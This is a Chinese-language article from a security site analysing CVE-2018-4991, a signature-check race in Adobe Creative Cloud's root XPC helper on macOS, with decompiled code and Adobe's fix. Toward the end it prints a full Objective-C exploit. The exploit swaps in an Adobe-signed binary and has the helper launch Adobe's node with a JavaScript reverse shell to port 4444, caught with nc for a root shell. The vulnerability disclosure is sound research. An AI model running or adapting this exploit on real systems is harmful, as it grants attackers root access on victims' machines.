Adobe Creative Cloud签名绕过本地提权漏洞分析(CVE-2018-4991) - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

Adobe Creative Cloud签名绕过本地提权漏洞分析(CVE-2018-4991)

41yf1sh 漏洞 2018-08-30 09:20:22
255620
收藏

导语:

漏洞概况

该漏洞是在macOS环境中发现,但目前推测此问题可能也会影响Windows版本。

在Adobe Creative Cloud安装时,会安装一个具有root权限的守护程序:

/Library/PrivilegedHelperTools/com.adobe.acc.installer

该程序通过NSXPCConnection远程对象接受XPC连接。在SMJobBlessHelper类中,有一个方法handleAction:withReply:,用于提供给非root进程。其中的消息都采用XML序列化。

举例来说,以下消息将会以root身份启动进程:

<?xml version="1.0" encoding="UTF-8"?>
 <action>
 <actionType>createProcess</actionType>
 <actionArgs><cmdArgs><cmdArg>--pipename=25D51488-9FD7-4A81-B815-5997A6EBAF25</cmdArg>
 </cmdArgs>
 <processPath>/Library/Application Support/Adobe/Adobe Desktop Common/ElevationManager/Adobe Installer</processPath>
 </actionArgs></action>

但是,在建立连接和创建进程之前,都会进行签名检查:

// SMJobBlessHelper - (char)listener:(id) shouldAcceptNewConnection:(id)
char __cdecl -[SMJobBlessHelper listener:shouldAcceptNewConnection:](struct SMJobBlessHelper *self, SEL a2, id a3, id a4)
{
  v4 = &__stack_chk_guard;
  v29 = __stack_chk_guard;
  if ( a4 )
  {
    pid = objc_msgSend(a4, "processIdentifier");
    v6 = new_log_target();
    v7 = (void (__cdecl ***)(_DWORD, _DWORD, _DWORD))sub_3010((int)v6);
    (**v7)(
      v7,
      "Inside shouldAcceptNewConnection | Received new connection in SMJobBlessHelper from client with PID:%d",
      pid);
    __bzero(filename, 4096);
    __bzero(proc_name, 4096);
    if ( proc_pidpath((int)pid, filename, 0x1000u) )
    {
      if ( (unsigned __int8)is_valid_adobe_binary((int)filename) )
      {
        len = ::proc_name((int)pid, proc_name, 0x100u);
int __stdcall sub_31C0(std::string *a1, int a2)
{
  v39 = __stack_chk_guard;
  std::string::string(&v35, "<output><result>Fail</result></output>");
  v34 = 0;
  v33 = 0;
  if ( (unsigned __int8)is_valid_adobe_binary(*(_DWORD *)(a2 + 20)) )
  {
    v2 = new_log_target();
    v3 = sub_3010((int)v2);
    (*(void (__cdecl **)(int, const char *, _DWORD, _DWORD))(*(_DWORD *)v3 + 8))(
      v3,
      "Inside ProcessLauncher::executeAction | LaunchingProcess at path %s with waitForFinish %d",
      *(_DWORD *)(a2 + 16),
      *(_BYTE *)(a2 + 24));
    v4 = *(_BYTE *)(a2 + 24);
    v32 = 0;
    v5 = OOBEUtils::ProcessUtils::LaunchProcess((_DWORD *)(a2 + 16), a2 + 4, (int)&v34, v4, &v33, 0, (int)&v32, 0);
    v6 = new_log_target();

在OOBEUtils::CryptUtils::GetCANameChain中,仅仅是通过运行/usr/bin/codesign命令来验证调用方和新进程。

在这里,我们很容易发现存在竞态条件TOCTOU(Time-of-check-to-time-of-use)的问题。也就是说,在检查和使用期间,存在着一段空档期,而这段时间可能会被攻击者用来执行非法操作。

v4 = objc_msgSend("NSAutoreleasePool", "alloc");
   v29 = objc_msgSend(v4, "init");
   v5 = objc_msgSend("NSString", "stringWithUTF8String:", *(_DWORD *)this);
   v6 = objc_msgSend("NSFileManager", "defaultManager");
   if ( (unsigned __int8)objc_msgSend(v6, "fileExistsAtPath:", v5) )
   {
     v7 = objc_msgSend("NSFileManager", "defaultManager");
     if ( (unsigned __int8)objc_msgSend(v7, "fileExistsAtPath:isDirectory:", CFSTR("/usr/bin/codesign"), &v33) )
     {
       if ( !v33 )
       {
         v8 = objc_msgSend("NSArray", "arrayWithObjects:", CFSTR("-dvv"), v5, 0);
         v9 = objc_msgSend("NSTask", "alloc");
         v10 = objc_msgSend(v9, "init");
         v28 = objc_msgSend(v10, "autorelease");
         v11 = objc_msgSend("NSPipe", "pipe");
         v12 = objc_msgSend(v11, "fileHandleForReading");
         objc_msgSend(v28, "setLaunchPath:", CFSTR("/usr/bin/codesign"));
         objc_msgSend(v28, "setArguments:", v8);
         objc_msgSend(v28, "setStandardOutput:", v11);
         objc_msgSend(v28, "setStandardError:", v11);
         objc_msgSend(v28, "launch");
         usleep_UNIX2003(10000);
         v13 = objc_msgSend(v12, "readDataToEndOfFile");
         v14 = objc_msgSend("NSString", "alloc");
         v15 = objc_msgSend(v14, "initWithData:encoding:", v13, 4);
         v16 = objc_msgSend(v15, "autorelease");
         v17 = objc_msgSend("NSCharacterSet", "newlineCharacterSet");
         v31 = objc_msgSend(v16, "componentsSeparatedByCharactersInSet:", v17);
         v36 = 0LL;
         v35 = 0LL;
         v32 = objc_msgSend(v31, "countByEnumeratingWithState:objects:count:", &v35, &v34, 16);
         if ( v32 )

漏洞分析

调用usleep(100000)是一个比较长的时间窗口,足以让攻击者在此期间对文件进行修改。而在macOS系统上,针对可执行文件的运行时修改操作并不困难。因此,我们只需要复制一个Adobe签名的二进制文件,就可以在创建进程后绕过检查,从而成功对其进行替换。

不仅仅是可执行文件,pid也可能会导致TOGTOU问题。详情请参考Ian Beer的文章(https://bugs.chromium.org/p/project-zero/issues/detail?id=1223)和Samuel Groß的文章(https://saelo.github.io/presentations/warcon18_dont_trust_the_pid.pdf)。攻击者完全可以通过使用包含POSIX_SPAWN_SETEXEC属性的execve或posix_spawn来有效执行攻击。

甚至,都可以不用这么麻烦。

它使用自定义字符串匹配,来解析codesign实用程序的输出,并且解析器看起来存在一定问题(未经过实际测试)。

目前,我已经发现适用于很多IPC调用方的DLDLD_INSERT_LIBRARIES存在验证绕过漏洞,攻击者只需要将Payload加载到可信的可执行文件即可。

包含有效签名的nodejs解释器

此外,还有一个包含有效代码签名的nodejs解释器。因此,攻击者只需要以JavaScript语言编写Payload即可。

包含众多签名的node.js在多个发行版本中存在,并且它们都有相同的开发人员团队ID。

来自Adobe Creative Cloud的文件如下:

 ~ codesign -dvvv “/Applications/Utilities/Adobe Creative Cloud/CCLibrary/CCLibrary.app/Contents/libs/node”
 Executable=/Applications/Utilities/Adobe Creative Cloud/CCLibrary/CCLibrary.app/Contents/libs/node
 Identifier=node
 Format=Mach-O thin (x86_64)
 CodeDirectory v=20200 size=238276 flags=0x0(none) hashes=7442+2 location=embedded
 Hash type=sha256 size=32
 CandidateCDHash sha1=a0e41e295e0111c35cdf7dfcf0c73701b4b51896
 CandidateCDHash sha256=7649dad279f0456838ba79bfebb01d909d5bf6e8
 Hash choices=sha1,sha256
 CDHash=7649dad279f0456838ba79bfebb01d909d5bf6e8
 Signature size=8964
 Authority=Developer ID Application: Adobe Systems, Inc. (JQ525L2MZD)

来自Adobe Brackets Editor的文件如下:

 ~ codesign -dvvv “/Volumes/Brackets Release 1.12/Brackets.app/Contents/MacOS/Brackets-node”
 Executable=/Volumes/Brackets Release 1.12/Brackets.app/Contents/MacOS/Brackets-node
 Identifier=Brackets-node
 Format=Mach-O thin (x86_64)
 CodeDirectory v=20200 size=240909 flags=0x0(none) hashes=7524+2 location=embedded
 Hash type=sha256 size=32
 CandidateCDHash sha1=b4d944c41b1f3cf9bcd4ca085981ed71a5b7e7b6
 CandidateCDHash sha256=51e1a917aad91d6045a4ba3357e7b527604c4aa5
 Hash choices=sha1,sha256
 CDHash=51e1a917aad91d6045a4ba3357e7b527604c4aa5
 Signature size=8963
 Authority=Developer ID Application: Adobe Systems, Inc. (JQ525L2MZD)

在这里,我们得到的一个经验就是,不要将脚本解释器作为特权边界,因为它们只是用于执行代码的。同时,node.js解释器也可以在Windows上使用。尽管我没有进行测试,但是我相信在Windows上的实现也比较容易。

漏洞利用及修复

下面是漏洞的利用方法。使用nc -lvvv 4444命令就可以获取到一个交互式的Root Shell。

// //  main.m //  XPCFun // //  Created by CodeColorist on 06/12/2017. //  Copyright © 2017 CodeColorist. All rights reserved. //
#import <Foundation/Foundation.h> #import <xpc/xpc.h> #include <libproc.h>
#define DUMMY @"/Library/PrivilegedHelperTools/com.adobe.acc.installer"
@protocol SMJobBlessHelperProtocol - (void)handleAction:(id)arg1 withReply:(void (^)(NSString *))reply; - (void)getHelperToolVersion:(void (^)(NSString *))reply; @end
#import <Cocoa/Cocoa.h>
int main(int argc, const char * argv[]) {   @autoreleasepool {     // TOCTOU signature bypass     NSString *executable = [[NSBundle mainBundle] executablePath];     NSFileManager *mgr = [NSFileManager defaultManager];     NSError *err = nil;     [mgr removeItemAtPath:executable error:&err];     if (err) {       NSLog(@"failed to remove file: %@", err);       return -1;     }     [mgr copyItemAtPath:DUMMY toPath:executable error:&err];     if (err) {       NSLog(@"failed to override self: %@", err);       return -1;     }     // another easy way is to run a signed node.js, and use process.dlopen to inject evil dylib     NSLog(@"ready");     dispatch_semaphore_t wait_for = dispatch_semaphore_create(0);
// the local privilege escalation     NSString *kXPCServiceName = @"com.adobe.acc.installer";     NSXPCConnection *conn = [[NSXPCConnection alloc] initWithMachServiceName:kXPCServiceName options:NSXPCConnectionPrivileged];     conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(SMJobBlessHelperProtocol)];     conn.invalidationHandler = ^{       NSLog(@"unknown error");       dispatch_semaphore_signal(wait_for);       exit(-1);     };     [conn resume];
    // yet another signature bypass: use node.js     NSString *xml = @"<?xml version=\"1.0\" encoding=\"UTF-8\"?><action>"       "<actionType>createProcess</actionType>"       "<actionArgs><cmdArgs><cmdArg>-e</cmdArg>"       "<cmdArg>c=new require('net').Socket();c.connect(4444,'127.0.0.1',()=>{s = require('child_process').spawn('/bin/sh',[]);c.write('!');c.pipe(s.stdin);s.stdout.pipe(c)})</cmdArg>"       "</cmdArgs>"       "<processPath>/Applications/Utilities/Adobe Creative Cloud/CCLibrary/CCLibrary.app/Contents/libs/node</processPath>"       "</actionArgs>"     "</action>";     id remote = [conn remoteObjectProxyWithErrorHandler:^(NSError *proxyError) {       NSLog(@"error: %@", proxyError);     }];     [remote handleAction:xml withReply:^(NSString *reply) {       NSLog(@"reply: %@", reply);       dispatch_semaphore_signal(wait_for);     }];     dispatch_semaphore_wait(wait_for, dispatch_time(DISPATCH_TIME_NOW, 2ull * NSEC_PER_SEC));     [mgr removeItemAtPath:executable error:&err];   }
  return 0; }

请注意,不仅是这个XPC服务容易受到攻击,此外还有共享相同代码库的其他库(例如ElevationManager)也受到此问题影响。并且,这些库可以通过其他IPC机制(例如FIFO文件)来触发。

作为修复方案,Adobe删除了存在漏洞的Codesign检查程序,并且加强了其对于字符串的检查严格程度。

  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

 
本站4hou.com,所使用的字体和图片文字等素材部分来源于原作者或互联网共享平台。如使用任何字体和图片文字有侵犯其版权所有方的,嘶吼将配合联系原作者核实,并做出删除处理。
©2022 北京嘶吼文化传媒有限公司 京ICP备16063439号-1 本站由 提供云计算服务